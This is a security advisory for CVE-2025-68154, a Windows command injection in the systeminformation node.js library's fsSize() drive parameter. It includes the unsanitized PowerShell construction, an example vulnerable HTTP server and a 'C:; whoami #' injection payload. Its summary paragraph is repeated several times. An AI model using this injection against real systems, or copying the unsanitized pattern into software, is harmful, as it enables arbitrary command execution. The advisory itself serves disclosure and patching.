CVE-2025-68154

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the fsSize() function in systeminformation is vulnerable to OS command injection on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable. Version 5.27.14 contains a patch.

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the fsSize() function in systeminformation is vulnerable to OS command injection on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable. Version 5.27.14 contains a patch.

Summary

The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.

Affected Platforms: Windows only

CVSS Breakdown:

• Attack Vector (AV:N): Network - if used in a web application/API
• Attack Complexity (AC:H): High - requires application to pass user input to fsSize()
• Privileges Required (PR:N): None - no authentication required at library level
• User Interaction (UI:N): None
• Scope (S:U): Unchanged - executes within Node.js process context
• Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited

Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.

Details

Vulnerable Code Location

File: lib/filesystem.js, Line 197

if (_windows) {
  try {
    const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
    util.powerShell(cmd).then((stdout, error) => {

The drive parameter is concatenated directly into the PowerShell command string without any sanitization.

Why This Is a Vulnerability

This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():

| File | Line | Function | Sanitization | |------|------|----------|--------------| | lib/processes.js | 141 | services() | ✅ util.sanitizeShellString(srv) | | lib/processes.js | 1006 | processLoad() | ✅ util.sanitizeShellString(proc) | | lib/network.js | 1253 | networkStats() | ✅ util.sanitizeShellString(iface) | | lib/docker.js | 472 | dockerContainerStats() | ✅ util.sanitizeShellString(containerIDs, true) | | lib/filesystem.js | 197 | fsSize() | ❌ No sanitization |

The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.

PoC

Attack Scenario

An application exposes disk information via an API and passes user input to si.fsSize():

// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');

http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);
  const drive = parsedUrl.query.drive; // User-controlled input
  
  // VULNERABLE: User input passed directly to fsSize()
  const diskInfo = await si.fsSize(drive);
  
  res.end(JSON.stringify(diskInfo));
}).listen(3000);

Exploitation

Normal Request:

GET /api/disk?drive=C:

Malicious Request (Command Injection):

GET /api/disk?drive=C:;%20whoami%20%23

Command Construction Demonstration

The following demonstrates how commands are constructed with malicious input:

Normal usage:

Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

With injection payload C:; whoami #:

Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
                                                                                                                            ↑         ↑
                                                                                                            semicolon terminates    # comments out rest
                                                                                                           …

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the fsSize() function in systeminformation is vulnerable to OS command injection on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable. Version 5.27.14 contains a patch.

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the fsSize() function in systeminformation is vulnerable to OS command injection on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable. Version 5.27.14 contains a patch.

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the fsSize() function in systeminformation is vulnerable to OS command injection on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable. Version 5.27.14 contains a patch.